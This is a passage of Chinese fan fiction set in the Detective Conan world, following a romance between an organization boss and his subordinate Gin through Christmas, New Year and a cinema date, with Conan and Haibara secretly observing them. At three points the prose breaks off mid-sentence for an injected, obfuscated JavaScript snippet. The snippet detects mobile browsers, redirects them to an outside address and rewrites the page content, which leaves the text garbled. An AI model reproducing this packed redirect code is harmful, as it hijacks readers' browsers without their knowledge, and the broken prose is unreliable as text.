尽管这些公安的存在感很强,但原泽河的注意力却完全不在他们的身上,他此刻正全神贯注地盯着那个小侦探,心里默默给他加油打气,只希望他给力点,能尽快破案,让自己早点抱得美男归。 正如他所预想的一般,柯南的确没让他失望,不到两小时便顺利找到凶手,只是苦了毛利小五郎,再一次被麻醉针射中脖子,至今仍未从昏迷的状态中清醒过来。 凶手被揭穿后又是跪地抱头痛哭,原泽河对他的作案动机一点也不感兴趣,他看了一眼手机上的时间,眉头皱得越发深了。 经过这么一番折腾,距离节日结束只剩下不到一个小时了,也就是说,留给他的时间不多了。 案件侦破之后,警察们麻利的给罪犯拷上一副银手镯,然后押着他上了警车。被迫滞留在案发现场的一众顾客终于重获了自由,陆陆续续走出餐厅大门,偌大的餐厅顿时只剩寥寥十几人。 这批人中也包括了原琴二人,柯南时不时地偷看他们几眼,脸色比听到受害人死讯的时候还要凝重三分。 他早就发现了两人的存在,本想和相熟的原泽河打声招呼,奈何琴酒在场,也只得放弃了这个想法,远远看着他们两人。 隐约察觉到两人之间的暧昧气氛,小侦探心中暗道不妙:他们两个真的在一起了?真是这样的话,原哥哥岂不是羊入虎口? 对他们两个在一起这件事,柯南越想越觉得匪夷所思,忍不住多打量了原泽河几眼。 许是他的目光存在感太强,原泽河想不注意都难,他下意识地转头望了过去,正好对上柯南的视线。一大一小两个人隔空对视了几秒后,他将视线重新挪回到琴酒身上:“Gin,你先在这里等等我。”说完也不等他反应,抬脚朝柯南的方向走去。 琴酒看着他转身离开的背影,张了张口仿佛想要说些什么,但最终还是什么都没说。 不一会儿功夫,原泽河已经走到柯南面前,但他并未立刻打招呼,而是将其拉到一处僻静的角落,才笑吟吟地问道:“柯南君,圣诞节快乐,你找我有什么事吗?” 柯南难为情地看着他,嘴唇张开又闭合,整个人一副欲言又止的模样。 原泽河见他这副模样,无所谓地笑了一下,语气十分轻快:“你有什么想问的你就问吧,我向你保证,我不会生你的气。” 见他神色不似作伪,柯南便也大着胆子试探性地问道:“原哥哥,你和那位黑泽先生是在一起了吗?” 原泽河早就猜到对方想问什么,脸上并未显露出丝毫惊异的神色,他坦然迎上柯南的视线,如实答道:“还没有,不过快了。” 将他的神色变化看在眼里,原泽河好笑地揉了揉他的脑袋,成功将他头发揉成鸡窝:“我马上就要脱单了,你不为我开心就算了,怎么还一副愁眉苦脸的样子?” 他说完就故意板着一张脸,柯南见状,连忙将头摇成拨浪鼓:“不不不,我不是那个意思,我是想说,你们之间的进展未免也太快了吧,你觉得你真的了解对方吗?” 此话一出,原泽河明显怔愣了一下,片刻后扑哧一声笑了:“你个小屁孩懂什么,我越了解他,就越喜欢他。” 柯南闻言,下意识就要反驳,余光却瞥见那位年轻的杀手先生向着这里走来,到嘴边的话顿时被咽了下去。 原泽河一见他吓成这副怂样就知道发生了什么,他转身看过去,果然看到琴酒朝他走来。男人没几步就走到他面前,用只有两个人能听到的声音低声说:“Boss,时候不早了,我们也该走了。” 他说完之后,若有似无地瞥了柯南一眼,柯南一跟他的目光相触,就忍不住打了个寒噤。 原泽河轻轻点了点头,却没有立刻就走,他半蹲下身子,和柯南视线保持平齐:“小侦探,你刚刚的推理很精彩。”他说完又笑着补充道:“和之前两次一样精彩。” 这一句话犹如平地惊雷,顷刻间在柯南耳边炸开,让他大脑瞬间一片空白,几乎丧失了全部的思考能力。等他反应过来的时候,却发现原琴二人早已离开,他定定地望着两人离去的方向,额上冷汗涔涔,心中警铃大作——完了,自己的真实身份难道已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964803|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经暴露了? 但事实证明是他想多了,原泽河并不知道他的身份,就算知道了,恐怕也没有多余的心思对付他。此时此刻,他把所有的注意力都放在了那个银发绿眸的男人身上。 眼看还有半个小时就是新的一天了,但两人之间那层薄薄的窗户纸仍未捅破,这可如何是好? 冷冷清清的街道上,行人三三两两,原琴二人并肩走在路上,谁也没有开口说话,只是静静地走着。 原泽河一边走,一边暗自思索着接下来的行动,他正苦苦思索着,不经意间忽然瞥见街角一家花店前多了一棵系着槲寄生的圣诞树,那双金色的眸子顿时亮了起来。 ——传说当圣诞节来临时,在槲寄生下接吻的情侣会厮守到永远。 他看着那棵挂上了槲寄生的圣诞树,忽然间福至心灵,一个绝妙的点子在他脑海里一闪而过,原本有些皱起的眉头瞬间就舒展开来了。他强行压下上扬的嘴角,不动声色的将琴酒引到那棵圣诞树下。 两人面对面站定之后,原泽河轻咳两声清清嗓子,随即刻意压低了声音,摆出一副神秘兮兮的样子:“Gin,你想知道那个小鬼头刚才对我说了什么吗?” 他显然没有要听琴酒答复的意思,自顾自地继续说了下去:“他问我,我和你是不是在一起了。” 这个问题好像似曾相识,琴酒在他期待的目光中,十分配合地问道:“那Boss是怎么回答的?” 终于到了最让人期待的时刻,原泽河努力按捺住心底的激动,尽量使自己的声线保持平稳,脸不红心不跳地扯了个谎:“我对他说,这个问题的答案取决于你。” 随着他的话音落下,琴酒正如他所想的那样,陷入一片静默当中,他对此早有预料,眼珠子骨碌碌转了几圈,忽然毫无预兆地指向他身后,提高音量大喊了一句:“Gin,快看你后面!” 在他的预想里,琴酒会下意识转头去看,而他则会趁其不注意,飞快凑到他嘴唇上亲一下,亲完之后深情款款地握着他的手,给他科普圣诞节期间在槲寄生下亲吻的习俗。 然而,事情接下来的发展却和他预想得不太一样,甚至可以说是截然相反——琴酒非但没有中计,还反将一军。 原泽河睁大了眼睛,愣愣地看着完全长在他审美上的那张脸逐渐在他眼前放大,因为过于震惊而张开嘴巴,方便了对方攻城掠地、长驱直入,一寸一寸夺走他的呼吸。 琴酒这方面显然经验更为丰富,他堪称僭越地亲吻着自己的顶头上司,没有一点身为下属的自觉。 这是一个霸道又不失温柔的吻,两人全身心地投入到这个吻里,几乎是贪婪地汲取着彼此的气息。周围的一切像是被按下了暂停键一样,整个世界万籁俱寂,只剩下两人心跳的声音。 直到零点钟声响起,两人才结束了这个吻,离开之际,唇瓣间牵扯出了一条暧昧的银丝。 琴酒似乎还有些意犹未尽,修长的手指轻轻抚摸着面前之人的嘴唇,替他揩去唇角垂落的银丝。他满意地看着对方脸颊越来越红,直到耳尖也染上染上一抹绯色,才轻笑着说道:“这就是我的答案。” 32.下属就要啵上司嘴4 日子过得飞快,圣诞节过后,转眼间便迎来了新年。这段时间里,各大超市无论什么时候都人满为患,米花市民紧锣密鼓准备年货,原琴二人自然也不例外。 圣诞过后,他们俩就正式在一起了,之后顺理成章地开始了同居生活。今年是他们一起度过的第一个新年,对他们来说都有特别的意义,因此在今年的最后一天,两人特地一大早起来去超市买菜,准备在家吃一顿年夜饭。 超市里熙熙攘攘人头攒动,两人一起推着购物车穿行在货架之间,一路走一路不断往车里面扔着各种食物,走了不到半小时购物车就已经装满了。 薯片,布丁,巧克力,牛肉干……琴酒看着购物车里的一堆零食,陷入了诡异的沉默。 Boss作为一名纵横黑白两道的里世界大佬,爱吃零食也太不符合他的人设了。 原泽河当然不可能知道自家恋人在想什么,他又挑了一包话梅放进购物车,抬头时正好看见琴酒那一脸微妙的表情。 他几乎在一瞬间就读懂琴酒脸上的表情,随即眯着眼睛打量眼前的人,嘴角扯出一抹假笑:“Gin,你对我的品味很有意见?” 被当场揭穿心事的琴酒讪讪地移开视线,一时间尴尬到无地自容。他眼神心虚地四处游走,不经意间瞥到身旁货架上的商品,关于某个夜晚的记忆纷至沓来。 几秒钟之后,他将视线重新挪回到琴酒身上,意味不明地笑了一声:“当然不是。我非但不反对您吃零食,还要亲自为您挑选合您心意的。” 原泽河似乎是没料到他的反应,整个人都怔愣住,片刻后他回过神来,饶有兴致地看着面前的银发男人,想知道这位冷酷无情的杀手先生到底会给他带来什么惊喜。 思及至此,他抱着手臂,好整以暇地瞧着自家恋人从货架上抽出一件物什,随手扔进购物车里。 原泽河低头看了眼购物车,脸上看戏的笑容瞬间就凝固了——所谓的合他心意的零食居然是一包猫粮,琴酒这是把他开除人籍了? 但只过了片刻他便明白过来琴酒话中之意,一张脸顿时白了又红,红了又白,恨不能钻到地底下去。 ——自己装猫碰瓷一事看来早就被琴酒发现了。 尴尬的气氛瞬间在两人之中蔓延,就在这时原泽河脑海中忽然闪过什么东西,几乎是想也不想就脱口而出:“既然你早就知道那只猫是我了,那你那天对我说过的话不就是在套路我?” 琴酒听出了他语气里的控诉,非但没心虚,反而跟个没事人一样淡定地站在一旁,点点头证实了他的猜测。眼见面前的黑发青年即将炸毛,他波澜不惊地祭出了一句杀手锏:“我没记错的话,您那天还故意吃我豆腐了吧?” 此话一出,原泽河自觉理亏,刚才还旺盛的气焰顿时消了大半,他像个犯了错的小孩似的把手背到身后,理不直气不壮地嘀咕了一句:“你情我愿的事,怎么能叫吃豆腐呢?” 按捺住上扬的嘴角,琴酒依旧板着张脸,一字一顿,清晰无比地说道:“你、情、我、愿?” 对上那双带着审视意味的碧色双眸,原泽河顿时回想起幻化成猫的自己是如何在与其共浴时花式吃豆腐的,饶是他一向自诩厚脸皮,此时此刻也不禁脸颊发烫。 为了尽快揭过这个话题,他握拳抵在唇边轻咳两声,语气生硬地开口:“Gin,我看时间也不早了,我们还是早点结账早点回家吧。”干巴巴地丢下这句话,他便推着购物车向着收银台方向走去。 琴酒看着他几乎是落荒而逃的背影,嘴角上扬的弧度再也压制不住。 * 夜幕在不知不觉间降临,深蓝色的夜空中,星星好似无数颗宝石般点缀其间。 新年前的最后一个晚上,很久没有下厨的原泽河决定亲自下厨,给琴酒做一顿年夜饭。 琴酒本来想帮忙打下手,但最后却被他毫不留情地赶回客厅,只能坐在沙发上百无聊赖地看着电视里的节目。 不一会儿,厨房里传来锅铲翻动的声响,一阵乒乒乓乓的声响后,饭菜的香味从厨房飘散开来,勾得琴酒腹中馋虫蠢蠢欲动。电视上的主持人字正腔圆地朗读着新闻稿,但他愣是一个字也没听进去。 不知过了多久,厨房里的声响渐渐停止下来,围着明黄色小熊围裙的Boss打开磨砂的玻璃门,施施然走出厨房。 听到那边传来的动静后,肚子早就饿得咕咕叫的琴酒当即从沙发上起身,大步流星地走到餐桌边坐下。餐桌上早已摆满了丰盛的菜肴,他扫了一眼桌上的菜,略带诧异地挑了挑眉。 桌上的菜居然超乎意料的卖相极佳,光是看着就让人十分的有胃口。 起先琴酒对Boss的厨艺并没有抱太大的期望,毕竟对方看起来就像个十指不沾阳春水的公子哥,他甚至怀疑对方连糖和盐都分不清,但是现在看来似乎并不是这么一回事。 他按捺住心头的惊讶,拿起筷子正准备夹菜,Boss却在这时按住他的手不让他动。 对此琴酒先是一愣,随即向Boss投去疑惑的视线,然而两人目光才一相触,Boss就对他做了一个稍安勿躁的手势,紧接着亲自动手替他盛了几个白胖胖的饺子,把碗推到他面前,示意他尝尝味道。 面对他满怀期待的眼神,琴酒先是沉默了一瞬,然后随手夹起一个饺子,蘸上蘸料之后小心翼翼地咬了一口。嗯……汤汁四溢,肉馅饱满,比他想象中的还要好吃。 只不过……他面无表情地吐出口中那枚硬币,拿在手里瞧了又瞧,看了又看,似是不明白他为什么能在饺子里吃出硬币来。 原泽河将眼前这一幕看在眼里,唇角扬起浅淡的弧度,又很快抿成直线。他故意装出一副惊讶的样子,略带夸张地惊呼:“天啊!你的运气未免也太好了吧,居然这么快就吃到了带硬币的饺子!” 此话一出,琴酒猛地抬起头,将视线挪到他身上,眼中全是好奇之意:“这又是个什么说法?” 原泽河轻咳两声清清嗓子,而后徐徐说道:“在我原本的世界有个习俗,除夕夜里人们喜欢在饺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969423|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里加枚铜钱,谁能吃到铜钱,谁就会在新的一年心想事成万事如意。” 琴酒还是第一次听说这种习俗,虽然他并不相信这种神神鬼鬼的东西,但这枚好运硬币毕竟是Boss的一片心意,所以他还是将其塞进口袋里,珍重地收了起来。 原泽河见状,满意地勾勾唇角。事实上,琴酒不管怎样都能吃到带硬币的饺子,因为他在包饺子的时候就做了手脚,包有硬币的饺子边缘都被捏了花边,一眼就可以看出来。 他之所以这么做,就是为了给琴酒留下美好的回忆,至于那个习俗是否真的灵验他并不关心,如果上天靠不住,那么还有他这个男朋友,他会尽己所能地确保琴酒在新的一年里平安顺遂,无病无灾。 这个小插曲过去后,两人开始动筷子。Boss的厨艺居然十分不错,普普通通的食材也能做成山珍海味,两人风卷残云般解决了桌上的饭菜,琴酒率先站起身,十分自觉地承担了洗碗的工作。 大概半小时后,他擦干净手上的水珠,从厨房里走出,一路走到沙发边,挨着Boss坐下。 他刚一落座,今晚的重磅节目红白歌会便开始上演,原泽河早就准备好了可乐薯片,就等这个时候派上用场。他一边看着电视节目,一边吃着薯片喝着可乐,面上别提多开心了。 琴酒对每年一度的红白歌会并不怎么感兴趣,只看了一会便兴致缺缺地移开了目光,视线漫无目的地游走了一圈后,最终还是落到身旁的黑发青年身上。 此刻他正毫无形象地瘫倒在沙发上,吃得开心看得高兴,与传闻中行事狠厉杀伐果决的black教父形象相去甚远,看上去倒像个还在上大学的快乐男大学生,人间烟火气扑面而来。 琴酒看着眼前这副充满生活气息的画面,忽然想到:这样的Boss大概或许可能只被他一个人看到了。 思及至此,他心里忽然升腾起一股诡异的满足感,这是独属于琴酒,只有他能见到的一面。 原泽河并不知晓自家恋人此刻的心理活动,他察觉到对方在自己身上打量的视线,沉吟片刻后,把剩余的薯片递了过去。 对方显然会错了意,但琴酒却并没有解释的打算,他从善如流地抓起一把薯片塞进嘴里,发出卡兹卡兹的声音。 就在他把嘴里的薯片咽下去时,Boss冷不防地开口问道:“Gin,你觉得红方和白方哪一方会赢?” 这个问题来得毫无预兆,琴酒根本没来得及思考,就将脑海中闪过的第一个念头脱口而出:“黑方。” 直到话说出口,他才反应过来Boss问的是什么,恨不得把自己的舌头咬断,然而出乎他意料的是,Boss并未因为他的回答取笑他,恰恰相反,对方突然倾身过来,在他唇角轻轻啄了一下。 这是一个意外的,没来由的,莫名其妙的吻。 冷酷无情的黑衣组织头号杀手精准地给刚才的吻下了一个毫不浪漫的定义,但这并不妨碍他摸着自己被亲吻过的唇角,在心里一遍又一遍地回味这个吻。 33.下属就要啵上司嘴5 这日原琴二人闲来无事,便约好要去看电影。此时正值节假日,电影院内人头攒动,放映厅里座无虚席,他们特地找了两个相邻的座位,取好票后提前进场。 电影是惊悚恐怖片,上映当天口碑爆棚,各大论坛铺天盖地都是安利。但原琴二人都是见多识广的人,看着电影里的恐怖场景内心毫无波动,甚至还想嗤笑那些被吓得捂住眼睛不敢看的男男女女。 但嗤笑归嗤笑,看着前排那几个被恐怖片吓到主动靠着男朋友肩膀的女生,原泽河说不羡慕是假的。 真是的,有个身为顶级杀手的男朋友就是这点不好,看恐怖片都没法促进感情了。 他在心里暗暗地叹了一口气,不过随即又打起精神来,侧头看向一旁面不改色的银发男人,眼珠子滴溜滴溜地转着。 俗话说山不就我,我便去就山,既然敌不动,那他干脆就主动出击。 思及至此,他便学着那几个姑娘家,以迅雷不及掩耳之势抱住琴酒的手臂,大鸟依人地靠了过去。 突然的靠近让琴酒身体有一瞬间的僵硬,像是脑门上被贴了定身符一样,一动不敢动,原泽河察觉到这一点,笑得像只得逞的小狐狸,旋即得寸进尺的把半个身子的重量都压了过去。 而琴酒也只是僵硬了一瞬,很快便恢复如常,由着对方抱着他的手臂,柔软的黑发垂在他的肩头,他有意无意地侧过脸蹭了几下,只觉得光滑得像缎子一样。 两人本来就对这部电影不怎么感兴趣,这个小插曲过后,更是没把心思放在上面。 皮肤相贴的地方传来彼此的体温,变成一股暖意迅速蔓延至身体各个角落,耳边的所有声音仿佛都消失了,两人就这样互相依靠着,享受着这难得的宁静时刻。 然而琴酒还没有享受够,就听身旁之人低声抛出一句宛如平地惊雷的话:“Gin,我想摧毁组织。” 话音刚落,原泽河便随手布下一个结界,然后静静等待琴酒接下来的话语。但出乎他意料的是,琴酒几乎没有任何思索,就那么轻易的将自己的回答脱口而出:“好,我帮您。” 对方的语气竟出奇的平静,并没有他想象中的震惊,反倒让他一时哑然,不知该怎么接话。像是过了半个世纪那么久,他才难以置信地问:“你对此就一点都不好奇吗?” 琴酒听罢,一脸理所当然地回应道:“我只是一把刀而已,只管执行您交给我的任务就够了,问这么多干什么?” 原泽河闻言心里很不爽,非常不爽,他立刻坐直身子,看着银发杀手的眼睛,一字一句很是认真地纠正他:“呸呸呸,谁允许你自轻自贱了!你是我第一个正儿八经的男朋友,才不是什么刀啊剑啊的!” 琴酒听见他的话,强压下上扬的嘴角,很是自然地转移话题:“那么Boss准备何时动手?” 原泽河再度将头靠在他的肩上,慢条斯理地说道:“等回到家后,我会把一切都告诉你的。” 闻言,琴酒不再多问,抬手揽住了他肩头,两人直到电影播完前,谁也没有再开口说话。 又过了半个小时,电影正片播完,开始播放片尾曲,观众们陆陆续续离场。 原琴二人出了放映厅没多久,就看见一对二十出头的年轻男女正朝他们这边挥手。 原泽河定睛细看过去,却是夏日祭时偶然碰到的那对小情侣,为了答谢他们提供的恋爱素材,他还特地送了两人一只小熊玩偶。不得不说,这世界真小,本以为再也见不到的人,居然在几个月后又见到了。 琴酒显然也记起来他们是谁,那些美好的回忆一时间如潮水般纷至沓来。那个时候他和Boss还没在一起,还处于暧昧期,而今却是心意互通,修成正果了,从某种意义上来说,这对小情侣也算是功臣之一。 想到此处,他看向两人的眼神也更加友善了。 原泽河一眼认出他们,当即便拉着琴酒走到两人面前,朝着他们友好地打了个招呼。 那个女孩本就因为他送自己玩偶一事,对他十分有好感,这次在电影院意外遇见他,心里也是开心得不行。她刚想寒暄几句,却在不经意间瞥见了两人交握在一起的手,刚到嘴边的话顿时被噎住了。 她的视线在两人身上来回逡巡几遍,最后定格在原泽河脸上,樱唇动了动,用口型对他说:“成了?” 原泽河读懂了她的口型,当即微笑着点点头,证实了她的想法。 女孩看在眼里,发自内心的为他感到开心。她趁着琴酒不注意,偷偷给他竖起大拇指,而后扬了扬捏在手里的电影票,向他挥手告别:“我们要看的电影快要播了,就先走一步了。” 原泽河冲她点了点头,然后看着这对小情侣手拉手一起走进放映厅,自己也拉着琴酒朝影院大门走去。 此刻外面正下着鹅毛大雪,入目所见尽是银装素裹,两人并肩走在雪地上,也不打伞,任凭雪花落在自己身上。 原泽河挽着身旁人的手臂,忽然想起两人之间戛然而止的对话,忍了又忍,最终还是按耐不住好奇心问道:“Gin,你不是很喜欢组织吗?我说我要毁灭组织,按理说你应该极力反对才是,可为什么……”你却跟个没事人一样,答应得这么爽快? 似乎是没想到他会问这个问题,琴酒侧过头看着他,以一种理所当然的语气对他说:“不管你需要我做什么,我都会去做。” 良久的沉默后,原泽河别扭地问了一句:“就因为我是你的Boss,所以你不得不服从我的命令?” 闻听此问,琴酒停下脚步,温柔地注视着他,语气里含着几分轻快的笑意:“这只是一部分原因,更重要的是,我早就下定决心,誓死追随魔王大人了。” 他这话说得有些没头没脑,但原泽河却瞬间就听懂了他的意思,心湖像被一颗石子砸中,泛起圈圈涟漪。 原泽河没想到自己当初随口的一句话却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975590|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他记在心上,惊讶之余,又感觉到一种隐秘的欢喜。琴酒之所以会这样做,更多是因为他这个人,而非他的身份,这个认知让他说不出的愉悦。 两人之后又交谈了几句,不知不觉间已经走到了自己的车旁,正要上车,琴酒却警觉地眯起了双眼,屏息环顾四周。 原泽河在旁边看着他这副模样,心下了然,面上却不动声色地问道:“怎么了?” 环顾一圈之后,琴酒并未发现可疑人物,沉吟几秒后冲他摇了摇头,随后直接拉开车门坐进了车里。 原泽河见状也拉开副驾驶的门坐了上去,只是在上车之前,他朝着草丛的方向投去了若有所思的一瞥。 随着一阵汽车发动机的轰鸣声响起,轿车在夜色中疾驰而去,轮胎摩擦雪地留下两道深深的痕迹。 直到那辆车彻底消失在视野里,躲在草丛中的柯南和灰原哀这才敢走出来。 灰原哀拍干净身上沾着的草叶,心有余悸地呼出一口气,只觉得自己好似从鬼门关走了一遭,身上的衣服都被冷汗浸透了。 方才两人要不是及时躲进了草丛,后果只怕不堪设想,以琴酒那个家伙的敏锐程度,要是被他逮到就完蛋了,届时不只她和柯南,和他们有关的人都会受到牵累。 刚松快了没多久,她又想起那名黑发青年临走时看向这边的眼神,下意识地咽了咽口水,声线不自觉颤抖:“你知道和琴酒在一起的那个家伙的身份吗?” 柯南看到她这副害怕的模样,知道她ptsd又犯了,当即安慰似的轻声说道:“他应该不是组织里的人,如果是的话,刚刚为什么不把我们两个揪出来交给琴酒处置呢?” 他这话说的也有道理,灰原哀心里的顾虑打消了一半,之后又听柯南继续说道:“我之前和那人接触过,他大概率不是什么坏人,不过……” 说到这里,他似乎是有些难以启齿,便住了嘴,没有继续往下说了,灰原哀却被勾起了好奇心,连忙追问道:“不过什么?” 见她一副打破砂锅问到底的模样,柯南无奈地叹了口气,最终还是将之前没说完的话继续说了下去:“不过他和琴酒应该是在一起了,他们两个极大可能是恋人关系。” 灰原哀从未想过琴酒那种冷血无情的家伙也会有正儿八经谈恋爱的一天,因此在听完柯南那番话后,她震惊得当场怔愣在原地,整张脸都写着“难以置信”四个大字。 柯南像是看穿了她的想法,停顿片刻,复又开口:“一开始我也不信,但现在看来极有可能是真的,不过你也不必过分担心,那人要是想动你我早就动了,还能让我们在这里说话不成?” “更何况,在组织的眼里,你已经是个死人了。” 灰原哀回想起旧事,这才稍稍放下心来,片刻后她望着那辆保时捷离去的方向,脸上露出了半信半疑之色。 ——刚才她见到的那名黑发青年,当真不是组织成员吗?